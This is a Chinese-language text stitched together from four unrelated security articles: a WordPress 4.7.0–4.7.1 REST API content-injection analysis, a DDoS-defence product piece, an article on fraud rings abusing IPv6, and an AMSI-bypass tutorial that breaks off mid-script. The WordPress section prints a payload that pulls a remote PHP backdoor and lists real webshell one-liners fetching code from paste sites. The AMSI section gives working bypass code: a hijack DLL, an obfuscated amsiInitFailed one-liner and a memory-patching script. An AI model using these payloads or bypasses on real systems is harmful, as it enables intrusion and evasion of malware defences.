在2017年2月11日，经过知道创宇404安全实验室使用 ZoomEye
网络空间探测引擎进行扫描探测后发现，受该漏洞影响的网站仍然有15361个，其中有9338个网站已经被黑客入侵并留下了组织代号。我们针对组织代号进行统计，发现共出现了八十余种代号。
我们使用 ZoomEye 网络空间搜索引擎搜索 `"app:WordPress ver:4.7.1"` ，获得36603条结果。以下是
https://www.zoomeye.org/search?t=web&q=app%3AWordPress+ver%3A4.7.1 的搜索结果：
#### 2 漏洞影响：
导致 WordPress 所有文章内容可以未经验证被查看，修改，删除，甚至创建新的文章，危害巨大。
#### 3影响版本：
* WordPress 4.7.0
* WordPress 4.7.1
### 二、时间线
### 三、漏洞验证与分析
PoC：
[Seebug](https://www.seebug.org/vuldb/ssvid-92637) 上已经给出详细的复现过程，在复现过程中可以使用
Seebug 收录的 PoC 来进行测试。 https://www.seebug.org/vuldb/ssvid-92637
漏洞验证扫描插件： Seebug 已经更新了 WordPress REST API 内容注入漏洞的扫描插件。 (
https://www.seebug.org/monster/ )
#### (1)在此给出简单的复现过程：
安装 WordPress存在漏洞版本并配置 REST API ，配置 Apache+PHP+Mysql 的运行环境。加载 Apache 的 rewrite
模块以及主配置文件配置如下图：
设置 WordPress 站点为固定链接：
1\. 构造数据包可看到不带任何验证信息会提示不允许编辑文章：
2\. 构造可利用的数据包，当 url 为 /wp-json/wp/v2/posts/1?id=1a 时可以看到成功跳过验证看到文章内容：
木马后门插入：
需要安装如 `insert_php` ， `exec_php` 等允许页面执行PHP 代码的插件。 可以构造数据包如下：
content:"[insert_php] include('http[:]//acommeamour.fr/tmp/xx.php'); [/insert_php][php] include('http[:]//acommeamour.fr/tmp/xx.php'); [/php]","id":"61a"}
上传后木马后门被插件当做 PHP 代码执行，网站被植入后门。
#### （2）漏洞分析：
paper 已经发表了关于此漏洞的详细分析，以此作为参考。(http://paper.seebug.org/208/ )
首先，在 `./wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php` 中
这里对路由进行了正则限制，防止攻击者恶意构造 id 值，但是我们可以发现 `$get` 和 `$post` 值优先于路由正则表达式生成的值。
接下来在 `update_item` 方法及其权限检查函数`update_item_permissions_check` 中：
可以看出当我们发送一个没有响应文章的 id 时，就可以通过权限检查并允许继续执行对 `update_item` 方法的请求。具体到代码就是让 `$post`
为空来绕过权限检查。
那么怎么让 `$post` 为空呢？跟进到 `get_post` 方法发现其使用 `wp_posts` 中的 `get_instance`
静态方法获取文章：
当我们传入的id 不是全由数字字符组成时返回 false，从而 `get_post` 方法返回null，接着绕过权限检查。 回头再看可执行方法
`upload_item`：
这里 `$id` 这个参数做了类型转化传递给 `get_post` 。而PHP类型转换时会出现这种情况：
也就是说攻击者发起 `/wp-json/wp/v2/posts/1?id=1hhh` 的请求就是发起了对id 为1的文章的请求。
#### （3）漏洞修复：
在 `/wp-includes/class-wp-post.php` 中：
更改了对于 $post_id 的参数的传入顺序和判断条件，防止了我们传入“数字+字母”这样的格式进行绕过。
### 四、漏洞影响分布
**第一次扫描探测结果：**
我们于 2017/02/11 对全球的 WordPress 网站进行了扫描探测，发现当时仍旧受影响的 WordPress 网站共有 15361个。
这些网站分别归属于82个国家与地区，其中 Top20 国家与地区分布如下图：
**第二次扫描探测结果：**
我们于 2017/02/14 对全球的 WordPress 网站再次进行了扫描探测，获取最新数据如下：
现存漏洞站数量：13390 个，与 2017/02/11 数据对比减少了1971 个。 其中数据重合量为12584 个，网站新增量为 806
个，存在代码执行插件的网站数量为 905 个。
**第三次扫描探测结果：**
我们于 2017/02/20 对全球 WordPress 网站进行了第三次扫描探测。
根据第三次得到的数据，我们发现全球依旧存在漏洞的 WordPress
网站数量为11573个，其中与第二次数据重合量为11182个，新增数量为391个，消失数量为2208个，存在代码执行插件的网站数量为69个。
**三次扫描探测数据对比：**
分析上图，我们发现：
1. 存在漏洞且一直未修复的网站基数还是很大。
2. 存在允许代码执行插件的漏洞网站数量不多，对现存漏洞网站影响不大。
**Top10国家存在漏洞网站总量与消失量对比：**
根据上图我们能很清晰的看出， 02/11 后消失的漏洞网站数量约占原有漏洞网站总量的三分之一 。
#### 网页污染行为分析：
我们于 2017/02/13 探测这些网站的运行情况，发现共有 9338 个网站已经留下了黑客的痕迹。（痕迹如 hacked by xxx）
Ps：我们探测的是依旧存在漏洞的网站并获取网站最新文章信息，而在经过修复的网站上还是有可能存在黑客入侵的痕迹。
我们统计了黑客组织留下的黑客代号，发现不同的黑客代号共出现了85种。其中 Top20黑客组织代号如下表：
上表说明的是此时依旧活跃在互联网上的针对该漏洞的黑客组织的排名。 我们分析了黑客留下的痕迹，初步总结了以下几点信息：
1\. 代号为w4l3XzY3 的黑客是事件早期被报道出来的黑客之一，此人曾经于2014年针对 Drupal
网站进行过相同性质的入侵行为。分析其过往行为发现该黑客一直在入侵网站挂黑页，Google搜索该代号已有295000条记录，已经是个惯犯了。
https://www.drupal.org/node/2394801
此人推特链接如下： https://twitter.com/w4l3xzy3
在 nairaland 论坛上有他留下的一些个人信息以及售卖php shell等工具的主题：
http://www.nairaland.com/w4l3xzy3
2\. 代号为 SA3D HaCk3D 与 MuhmadEmad 的黑客入侵后留下的页面是相似的，宣传反 ISIS 的信息。前者提到了 peshmarga
，应该是一个中东国家，具有反美倾向。后者提到了 kurdistan ，是黑客组织 “ KurdLinux_Team ”
的成员。该人疑似曾在推特上炫耀自己的黑客行为。 https://twitter.com/muhmademad
3\. 代号为 GeNErAL HaCkEr ，GeNErAL 与 RxR HaCkEr 的黑客同样疑似出自同一组织。他们还留下了一个 qq
号码：21*****233 。 搜索该账号获得信息如下图：
可以看到组织名为 “ Team Emirates” 搜索相关信息发现一个疑似的相关推特 https://twitter.com/rxrhackerr
4\. 代号为 GHoST61 的黑客留下的信息为土耳其语，翻译出来大意是土耳其无处不在，疑似是出自土耳其的黑客组织。
### 五、后续影响分析
**暗链与插件导致的PHP代码注入与 RCE ：**
我们发现当未修复漏洞的网站启用了如 `insert_php` 或 `exec_php` 等允许网页执行 PHP
代码的插件时，黑客利用此漏洞除了能够在网页中插入暗链还能在网站中注入后门并以此牟利。
我们在15361个未修复漏洞的目标站点中，探测到的使用了这两种插件的网站有905个，已经被注入木马后门的网站一共有158个。其中插入的一句话木马口令共有98种。
**暗链发现情况：**
在本次探测到的数据中发现暗链出现频率第一的网址 http://biturlz.com ，重定向到 https://bitly.com
这个网址，出现次数355次。
出现频率第二的是 www.yellowfx.com 这个网址，53次。
余下的网址出现频率则比较接近，分布范围较广。
本次探测到的黑客shell地址如下：
http://pastebin.com/raw/ku5zcKfu https://paste.ee/r/3TwsC/0
http://pastebin.com/k20u5zcKfu http://pastebin.com/raw/F9ffPKBM
http://pastebin.com/raw/gYyy6Jd7 http://pastebin.com/raw/fXB166iS
http://pastebin.com/raw/gLc9bi4z http://acommeamour.fr/tmp/3jqy4.php
**PHP shell 种类：**
从探测到的数据分析，此次事件中出现的shell种类如下：
1： if(isset($_REQUEST[xxx])){eval($_REQUEST[xxx]);exit;}
2： include(‘;http://pastebin.com/raw/F9ffPKBM’;);
3： file_put_contents(‘;wp-content/uploads/info.php’; ”;);
4： fwrite(fopen(‘;wp-content/uploads/wp.php’;’;w+’;)file_get_contents(‘;http://pastebin.com/raw/ku5zcKfu’;));
5： if ( copy(‘;https://paste.ee/r/3TwsC/0’; ‘;db.php’;) )
{echo ‘;Content_loaded_please_wait!’;;}else{echo ‘;Content_failed.’;;}
#### 总结：
黑客利用 pastebin.com 等网站存放 shell，目前为止这些网站已经开始陆续关闭。攻击峰潮已过，我们需要抓紧进行事后补救工作。
值得注意的是虽然本次探测到的被植入后门的网站数量并不是很多，但是修复漏洞并不代表清理了后门，所以实际被挂马的网站数量将会更多。
建议启用了类似 insert-php 插件的用户在升级 WordPress之后检查网站目录，查杀木马。尤其是 wp-content/uploads/
目录，检查网站目录下是否出现文件改动如 wp.php ， info.php ， db.php 等文件并核查文件内容。
从获取到的黑客shell 内容分析，( index.php ， apis.php ， wp.php ， info.php ， db.php ，
css.php ， insert_php.php )这些文件是需要重点检查的。
对于此次事件，我们还会在将来持续跟进。
### 六、漏洞修复方案
升级 WordPress到最新版 4.7.2 ，可以选择 下载 [WordPress 4.7.2
](https://wordpress.org/download/)或者前往后台更新面板手动点击升级。支持后台自动升级的网站已经自动完成升级过程。
### 七、相关链接
* https://www.seebug.org/vuldb/ssvid-92637
* https://www.seebug.org/monster/
* https://www.exploit-db.com/exploits/41223/
* https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
* https://wordpress.org
* https://wordpress.org/news/2017/01/wordpress-4-7-2-security-release/
### 关于
404 Team，国内黑客文化浓厚的知名安全公司知道创宇神秘而核心的部门，最为大家熟知的分享包括：KCon 黑客大会、Seebug 漏洞平台、ZoomEye
钟馗之眼网络空间搜索引擎。
404 Team 依托 Seebug 与 ZoomEye
两大平台能力及内部的漏洞相关工业化平台能力（WSL），总能在漏洞爆发的最小黄金周期内完成全球性响应。
除了依托这些开放平台打造了全球黑客生态圈之外，404 Team 还在持续创新创造，为整个知道创宇业务需求输出精心打磨的漏洞弹药及相关安全产品。
404 Team，守正出奇，知行合一。
* * * | 社区文章 |
# 1\. DDoS趋势的一些变化
从今年3月份起，世界上最大的DDoS攻击记录到了1.7
Tbps，是一个普通家庭带宽出口的数十万倍，几乎可以横扫互联网，作为一个生存了20年之久的古老攻击形式，我们看到了今年来DDoS攻击量成指数级攀升，不仅没有出现颓势，反而愈演愈烈。随着物联网的发展，数以亿计的IoT无辜的成为了DDoS攻击的”帮凶”，这给互联网的创业者带来了无比的创业压力，一方是如洪水般的DDoS攻击，一方是普通的网络出口带宽，今天互联网的DDoS攻击已经昭示了一个不得不令人悲观的事实，普通的企业根本不可能抵御住海量的DDoS攻击，这是一场无法单靠拼技术就能打赢的战役。
## 1.1 DDoS攻击的成本究竟有多高
美国云安全技术服务公司Armor发布的一份报告揭示了暗网上针对各种网络犯罪相关服务实施的价格标准。该报告是通过搜罗数个知名的暗网市场数据总结出来的。据报告显示，黑客可以用10美元/小时、200美元/天的价格或者500—1200美元/周的价格租用DDoS攻击。
数据来源：freebuf
另外，从搜索引擎上也可以搜到很多类似的攻击平台，DDoS攻击即服务，黑客跑的一点也不慢。
## 1.2 DDoS防御为什么这么贵
众所周知，防御海量的DDoS攻击，就必须要有海量的防御带宽，我们经常看到很多的客户提问说，主机上看到的恶意DDoS的IP是否可以用安全组或者软件防火墙封禁掉，也有客户提到，为什么阿里云在网络入口不能封禁掉这些攻击的IP。理论上，只要带宽足够，这样做是可以起到效果的，但实际上客户购买的主机带宽很小，单纯的用主机防火墙或者安全组只能过滤掉比带宽小的流量，一旦带宽被占满，那么这些封禁策略都将无法工作。DDoS攻击就像洪水一样必须要在入口处有坚固的堤坝，仅靠家门口的篱笆是无法阻挡住洪水的。
DDoS防御的主要成本是带宽、机房资源、服务器和清洗设备，这些都属于重资产资源，目前业界几种产品形态分别存在于运营商、云厂商、CDN厂商或者是IDC机房中，但是由于各自的服务模式、商业模式、技术和产品形态的不一样，在防御的时候原理会有一些区别，但是无论什么形态，都离不开前文所提到的这些资源。DDoS攻防不对等的主要原因在于防御厂商的这些资源必须是常备资源，以1个百G机房为例，一年的建设成本可能就需要上千万人民币，这还不算专业的服务人员和研发人员。随着全网提速降费和肉鸡资源增多，这种状况只会越来越加剧。
# 2 上云后的DDoS防御最佳实践
依据防御能力的不同，阿里云上有不同的产品形态可以供用户选择，在企业上云的不同阶段，面临的威胁不同，也可以选用不同的防御产品来构建自身的安全体系，如下是阿里云DDoS防御产品矩阵图。
## 2.1 DDoS基础防护
云产品默认自带的防御能力，针对海量客户提供500M-5G的免费抗D能力，加入安全信誉联盟之后，可以累积信誉值，获得比5G更高的能力（限次）。
## 2.2 DDoS防护包
提供比5G更高的增值防御能力，用户可以不改变任何配置，直接提升云产品的防御能力，部署简单方便。
## 2.3 DDoS高防IP（BGP多线）
针对海量DDoS攻击的场景，需要把流量引入大流量清洗中心清洗，清洗完之后送回用户的主机，相较与业界产品，阿里云用户可以享受到专线回源，独享海量防御带宽的优势。
## 2.4 游戏盾
针对攻击的重灾区游戏行业推出的端到端到无上限防御方案，防御DDoS攻击，CC攻击，游戏连接性攻击等各种复杂攻击，提供按照业务规模收费的成长性服务机制。
# 3 探索抗D服务的几个发展方向
## 3.1 不设上限防御服务
如今，一般的云厂商都具备了上T的防御能力，运营商也在逐步开放一些能力，防御方的实力大大增强，我们已经观察到了国外有厂商开始提供这种“unlimited”的服务，尽最大能力防护，意味着不再给用户设置防御上限，尽力防护到机房水位线为止，这种新的计费模式，充分发挥了云的规模化优势，使得客户的防御成本大大降低，也减少了客户付费之后还被打进“黑洞”的风险。
## 3.2 贴近业务，更具备成长性
遭受DDoS攻击的企业，一般还是以中小企业为主，目前DDoS防御的手段多以攻击流量的大小来进行收费。但是，1.7T的攻击出来之后，一般的企业基本上无法付费防住这么大的攻击，因此面对中小企业，按照业务价值大小付费的模式逐步发展起来。今年以来，游戏盾也在进行这方面的尝试，阿里云推出了基于客户业务日活数量来计费的服务，目前已经在内测申请阶段，详情可登陆“阿里云官网-安全-游戏盾”产品详情页了解。
## 3.3 更快更稳的网络质量
抗D服务是一种应急类的安全产品，在出现攻击的时候，需要用最快的反应时间来防御住攻击，因此客户一般会常态化的将业务跑在高防机房里。高可用的网络质量也是一个考虑因素。为什么高防的成本如此之高，其实主要看厂商将成本投向了哪个方面，如果是采用昂贵的BGP带宽的话，那基本上是目前国内最好的带宽了，再配合上云上的专线回源，可以让要求苛刻的游戏业务的体验做到极致。
## 3.4 数据与可视化
另外一方面，随着DDoS攻击的不断发展，其攻击手段越来越复杂。在海量DDoS攻击发生的时候，完整的记录下攻击的详细日志，形成快速有效的实时分析数据，相比很多连控制台都不完整的IDC高防，这种“看见”的能力越来越成为云厂商的优势。今年，阿里云打造了全新的实时数据系统，能让用户看见更多的威胁，并且阿里云的全量攻击日志追溯可以让客户看到过去发生的攻击的详细信息。
# 4 对于DDoS终局的一些思考
这几年，我们发现无论是攻击手段的翻新还是防御厂商的增多，整个市场似乎出现了非常火热的现象，这其实跟整个互联网环境的变化息息相关。诸多防御厂商的涌入带来的一个好处是更多的资源涌入防御方，使得大部分客户都能找到符合自己需求的产品。未来会有更多的厂商加入进来，云服务厂商已经将抗D服务作为一个基础的门槛产品，没有抗D服务就没有稳定的云服务。
就任何一种攻击而言，没有攻击就没有防御。我们相信，只要互联网还存在，DDoS攻击就不会消失。当5T、10T的攻击来临的时候，也许只有所有的厂商联合起来，才能真正打赢这场战役。
这一切，还只是刚刚开始。 | 社区文章 |
# 威胁猎人黑产研究 | IPv6发展带来的反欺诈难题
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
导语：IP是互联网最基础的身份标识，也是黑灰产业发展不可或缺的底层资源支撑。如果说IPv4是一颗星球，那IPv6就是一整个宇宙，它的地址空间接近无限。本文将揭露目前黑灰产对IPv6资源的利用情况，并剖析在IPv4向IPv6升级的过程中，业务场景下的安全将面临的挑战。
## 一、黑灰产采用IPv6发起攻击的趋势不可逆转
IP并不是一个新鲜的词，对于我们普通人来说，它是设备联网之后，就会被分配的地址。但在黑灰产手里，对IP的利用几乎超出我们的想象。它凭借黑色产业的强大需求已卧居在黑暗市场多年。
和我们在大荧幕上看见的网络攻击工具不同，IP没有病毒的强大杀伤力，也不具备摧枯拉朽的破坏力，却是黑灰产业务活动不可或缺的底层资源支撑，支持着恶意注册、刷量、薅羊毛、撞库等恶意行动的顺利进行。
目前我们所说的IP通常是指IPv4地址，这也是当前我们与黑产进行安全对抗的最激烈的攻防点之一。
IPv4由32个二进制位组成，空间里面有2^32（约43亿）个地址，其中约有2.8亿的地址是为特殊用途所保留的。然而，随着地址不断被分配给终端用户，IPv4地址枯竭的问题也在随之产生。
这个情况刺激了作为当前唯一的长期解决方案的IPv6的推进。
和IPv4相比，IPv6由128个二进制位组成，拥有2^128（约3.4×10^38）个地址，是IPv4的7.9×10^28倍，庞大的地址空间几乎接近无限，被十分形象的称为可以为全世界的每一粒沙子分配一个地址。
然福兮祸之所伏，IPv6的地址空间远超当前IPv4，也意味着黑灰产掌握的IP资源体量也将无限扩大，他们将有能力为每个恶意账号独立使用一个IP。以往在对抗过程中积累下的风控策略，具备的完备IPv4安全体系，在IPv6规模化普及后将面临新的挑战。
网络发展，安全先行。威胁猎人鬼谷实验室监测到的数据显示，目前已存在数据中心IPv6地址上发起的恶意机器流量，并且国外黑灰市场上早已出现IPv6代理资源，实验室推测，这在一定程度上与IPv6的普及度有关。当国内IPv6部署逐步展开，以此为基础的黑灰产攻击必顺势而来，值得注意的是，当前让业务方最头疼的的黑产IP资源——秒拨，也悄然增加了对IPv6的支持。
## 二、黑灰产已经开始利用IPv6资源
由市场强大需求带动的IP资源发展，已经成为黑灰产业链上的重要环节，专门提供IP资源的黑灰产团伙也随之产生。
黑灰产的技术非常与时俱进，在与企业玩转“猫鼠游戏”的过程中攻击手段也有所升级。比如从早期的通过代理IP绕过风控规则的方式，到现在已经演化出“秒拨”“混拨”等，甲方的对抗策略也在IPv4的环境下也有相应的得到提升和积累。
然而，当IPv4开始向IPv6迁移，IP环境的变化不仅牵涉了网络设备、路由管理、IPv6协议栈的相应改变，IPv4下搭建的风控体系在迁移的过程也会面临改造和升级。
原本适用于IPv4的防护策略如果改造不及时，将会面临多大的风险？这是所有企业都需要考虑和面对的问题。比如：
* **海量地址扫描** ：IPv6由128个二进制构成，这意味着，如果一个子网使用其中IPv6网络中的64位来分配IP，则子网的总容量，也就是可分配的IP数为2的64次方。假设遍历IPv4的全部地址需要一个小时。那么将这个子网下面的所有IP地址遍历一遍，将需要50万年…
* **黑名单库失效** ：在IPv4环境下积累的大量黑IP数据，对黑产IP进行识别有显著的帮助。但是，当IPv6时代来临，接近无限的IP地址会对黑名单库造成强烈冲击，原本高效的识别机制，在IPv6环境下将接近“无效”。
* **未知下的误判** ：IPv6部署的初级阶段，将面临IPv6地理位置、设备指纹等风险数据缺失的问题，从而导致无法准确判定IP性质，产生误判。
* ……
目前全球IPv6普及率达到23.97%，发达国家的IPv6普及率为25%，而全亚洲IPv6普及率达到27.13%，其中，中国的IPv6普及率达到了14.46%。以下是各大洲和发达国家以及中国的IPv6普及率统计结果：
随后，我们查看了威胁猎人监控平台捕获到的恶意机器流量，通过对资源进行分析，我们发现目前 **黑灰产掌握的主要IP资源中都存在IPv6的踪迹** 。
**代理**
据调查，国外的代理平台早已存在出售IPv6代理的情况。由于当前IPv6普及率还较低，IPv6代理商并不是直接提供IPv6地址和端口，提供的依旧是IPv4和端口，通过类似
**6in4** 的隧道协议，将IPv6数据包封装在IPv4数据包中，再经由代理传送给用户。
我们对这些IPv6代理进行收集，分析其特征特点，发现其主要来自国外IDC机房。
而相比国外，国内并没有发现专门批量出售IPv6代理的平台，但是我们也捕获到一些国内IPv6代理样本，而且很有意思的是，国内的IPv6代理大部分源于
**国内教育网的** **IDC机房** 。
由于其教育网的性质，如果简单地将各个教育网IDC对应的IPv6段进行拦截，最直接的结果就是误伤很大部分的正常学生用户。
**秒拨**
秒拨IP是黑灰产掌握的零一主要IP资源，并且，现在已有部分秒拨厂商开始支持并提供IPv6的服务。
我们对从秒拨机器上获取的IPv6地址进行分析，发现它的性质属于 **国内家庭宽带**
，利用拨号上网（PPPoE）的原理，每一次断线重连都会获取一个新的IP。和IPv4的秒拨性质类似，但比IPv4更具优势的地方在于，它的
**IP池庞大到接近无限，并且IP地址更难以识别** 的问题。
* 无限IP池
假设某秒波机上的宽带资源属于XX地区电信运营商，那么该秒拨机可拨到整个XX地区电信IP池中的IP，在IPv4环境下具有少则十万多则百万的量级。而IPv6环境下，量级巨大，难以估计。我们对某一批IPv6地址进行重复性统计，
**监测到的10万数据中几乎不存在重复的IPv6地址，而实际的IPv6秒拨池中，远不止这个数。这意味着，传统的利用IP黑名单库给IP打风险标签的方式将不再适用**
。
* 秒拨IP难以识别
另外，由于秒拨IP和正常用户IP存在于同一个IP池，
**每次断开连接，原本属于被黑产使用的秒拨IP，都有可能在下一次拨号的时候流入到正常用户手中，这会给秒拨IP和正常IP的区分带来非常大的难度** 。
图：利用秒拨测试IPv6支持情况
实验室通过IPv6对国内的各类主流网站进行测试，
**发现大部分的厂商并没有开始支持IPv6访问。少部分支持IPv6的厂商，也仅是支持主网可以通过IPv6进行访问，但网页加载的速率，以及访问链接的稳定程度就显得有点差强人意**
。一旦需要涉及到用户登陆或者其他用户操作的时候，就会经常出现访问失败或者登陆超时的情况。而国外支持IPv6访问的网站不论在稳定性和响应速率，还是支持用户相关的操作上，都比国内情况好很多。
## 三、总结与思考
发展基于IPv6的下一代互联网，看似取之不尽的IP资源的确为当前逐渐枯竭的IPv4带来了救赎，但不容忽视的也恰是“取之不尽”背后潜藏的安全隐患。从上述数据我们可以推测，黑灰产对IPv6的利用情况很大程度上和普及度相关。
由于大多数发达国家IPv6的普及度及采用度都处于高位，相应的也诞生了专门售卖IPv6代理的平台。目前，在我国大部分主流网站都尚未支持IPv6访问的情况下，黑灰产已经开始研习IPv6技术，利用IPv6资源。当我国IPv6部署规模紧随政策一步步落实和推进，IPv4不得不向IPv6转移的档口，如果企业的风控设施的改造和升级没有跟上部署的脚步，将会面临一段时间的安全防护的“空窗期”，黑灰产可以毫不费力的进入平台，兴风作浪，歌舞升平。
因此，未雨绸缪是企业应对风险的最佳手段。我们有理由相信，当越来越多的国内网站支持IPv6，并且功能性和稳定性趋于完善后，基于IPv4的攻防战场势必会向IPv6转移，对于所有的技术和安全人员，在保障技术稳定升级的同时，安全性问题的考量同等重要。威胁猎人作为业务安全行业的先行者，已投入大量人力和资源在IPv6黑产资源的研究上，并开始积累实时IPv6风险数据，期望能帮助向IPv6迁移的厂商解决预想不到的安全问题。 | 社区文章 |
## 何为AMSI
Antimalware Scan Interface(AMSI)为反恶意软件扫描接口。
微软对他产生的目的做出来描述：
> Windows 反恶意软件扫描接口 (AMSI) 是一种通用接口标准，允许您的应用程序和服务与机器上存在的任何反恶意软件产品集成。AMSI
> 为您的最终用户及其数据、应用程序和工作负载提供增强的恶意软件保护。AMSI
> 与反恶意软件供应商无关；它旨在支持当今可以集成到应用程序中的反恶意软件产品提供的最常见的恶意软件扫描和保护技术。它支持允许文件和内存或流扫描、内容源
> URL/IP 信誉检查和其他技术的调用结构。AMSI
> 还支持会话的概念，以便反恶意软件供应商可以关联不同的扫描请求。例如，可以将恶意负载的不同片段关联起来做出更明智的决定，而仅通过孤立地查看这些片段就很难做出决定。
在Windows Server 2016和Win10上已经默认安装并启用。他的本体是一个DLL文件，存在于
c:\windows\system32\amsi.dll。
它提供了通用的标准接口（COM接口、Win32
API）其中的COM接口，是为杀软供应商提供的，方便杀软厂商接入自身针对恶意软件的识别能力。有不少安全厂商已经接入了AMSI的接口。
官方架构图：
目前AMSI功能已集成到Windows 10的这些组件中
* 用户帐户控制或 UAC（EXE、COM、MSI 或 ActiveX 安装的提升）
* PowerShell（脚本、交互使用和动态代码评估）
* Windows 脚本宿主（wscript.exe 和 cscript.exe）
* JavaScript 和 VBScript
* Office VBA 宏
既然本质上是一个dll，那么就可以看下他的导出函数。
当执行一些敏感字符串时，会发现powershell拒绝执行并报毒。
查看powershell模块会发现加载了amsi.dll
## 几种绕过的方式
### dll劫持
再打开powershell进程时，会加载amsi进程，那么自然的就想到可以通过dll劫持，或者替换等方式来bypass。
dll加载的顺序：
* 进程对应的应用程序所在目录
* 系统目录（通过 GetSystemDirectory 获取）
* 16位系统目录
* Windows目录（通过 GetWindowsDirectory 获取）
* 当前目录
* PATH环境变量中的各个目录
powershell.exe的路径为C:\Windows\System32\WindowsPowerShell\v1.0，只需要在同目录下置放一个名为amsi.dll的模块。
但是并不是随便一个模块都行，由于已经开启了amsi，如果错误加载会引起powershell崩溃，那么我们也无法执行命令。这里就要导出本来amsi.dll有的导出函数。
比如这里导出函数有个`AmsiScanBuffer`
然后去msdn去找，文档里面有相关的函数说明并且有参数等等。
#include "pch.h"
#include <iostream>
extern "C" __declspec(dllexport) void AmsiScanBuffer(HAMSICONTEXT amsiContext,
PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession,
AMSI_RESULT * result);
void AmsiScanBuffer(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length,
LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result) {
}
这样一个一个去把导出函数写出。不要去直接include系统文件amsi，这样他那个文件里本来就有相关函数，这样会起冲突，直接把有些结构体粘过来就好了。
typedef struct HAMSICONTEXT {
DWORD Signature; // "AMSI" or 0x49534D41
PWCHAR AppName; // set by AmsiInitialize
DWORD Antimalware; // set by AmsiInitialize
DWORD SessionCount; // increased by AmsiOpenSession
} HAMSICONTEXT;
typedef struct HAMSISESSION {
DWORD amsiSession;
} HAMSISESSION;
typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN = 0x00,
AMSI_RESULT_NOT_DETECTED = 0x01,
AMSI_RESULT_BLOCKED_BY_ADMIN_START = 0x4000,
AMSI_RESULT_BLOCKED_BY_ADMIN_END = 0x4fff,
AMSI_RESULT_DETECTED = 0x8000,
} AMSI_RESULT;
这样我们自己编写的dll也有相关的导出函数可以让powershell去调用，只不过里面没功能。注意这个amsi是64位的。
把自己的dll放到powershell.exe的同目录下，再次打开powershell。
查看powershell进程的模块，发现已经是我们自己写的模块了。
已经成功bypass
整个过程中需要管理员权限，dll也需要考虑免杀的问题，甚至还能用它来维权？这个方法按理来说应该是比较敏感的，要看微软什么时候去修复。
除了劫持还可以卸载，但是会造成powershell不稳定直接崩溃。这个方法是不行的。
### 降低powershell版本
将powershell版本降到2.0，就能够规避amsi，因为在低版本的powershell中还没有加入amsi。那么就需要知道目标机器的powershell版本。
$PSVersionTable
在 Windows 7 和 Windows 服务器 2008 R2 以上版本，PowerShell 2.0 集成在所有 Windows 版本中。
在普通用户权限下，可以通过如下命令经行检查：
Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select -ExpandProperty Version
管理员权限可以使用如下命令：
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2
这里虚拟机是没有这个环境的，看了下本机有2.0版本，这里就换下本机试一下，是能够成功的执行的。
### 混淆
一个最简单的例子
"amsiutils"
"amsiuti"+"ls"
可通过一行命令直接关闭AMSI
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiI nitFailed','NonPublic,Static').SetValue($null,$true)
但是直接关闭肯定是不行的，他的特征实际上就在System.Management.Automation.AmsiUtils 和 amsiInitFailed。
这里可混淆的方式也是比较多的，方式可以如下：
$a =[Ref].Assembly.GetType('System.Management.Automation.AmsiUti'+ls')
$h="4456625220575263174452554847"
$s =[string](0..13|%{[char][int](53+($h).substring(($_*2),2))})-replace " "
$b =$a.GetField($s,'NonPublic,Static')
$b.SetValue($null,$true)
在网上看到关闭Windows Defender 也可以使系统自带的AMSI检测无效化，需要管理员权限，这个方法现在已经不行了。
Set-MpPreference -DisableRealtimeMonitoring $true
### 利用反射将内存中AmsiScanBuffer方法的检测长度置为0
AMSI检测调用过程为：
AmsiInitialize – 初始化AMSI API.AmsiOpenSession – 打开sessionAmsiScanBuffer – scans the user-input.AmsiCloseSession – 关闭sessionAmsiUninitialize – 删除AMSI API
其中AmsiScanBuffer参数微软也给出了说明，第三个参数是要检测缓冲区的长度。
脚本来源：<https://gist.github.com/shantanu561993/6483e524dc225a188de04465c8512909>
Class Hunter {
static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) {
while ($true) {
[int]$count = 0
while ($true) {
[IntPtr]$address = [IntPtr]::Add($address, 1)
If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
$count++
If ($count -eq $egg.Length) {
return [IntPtr]::Subtract($address, $egg.Length - 1)
}
} Else { break }
}
}
return $address
}
}
function Get-ProcAddress {
Param(
[Parameter(Position = 0, Mandatory = $True)] [String] $Module,
[Parameter(Position = 1, Mandatory = $True)] [String] $Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
function Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
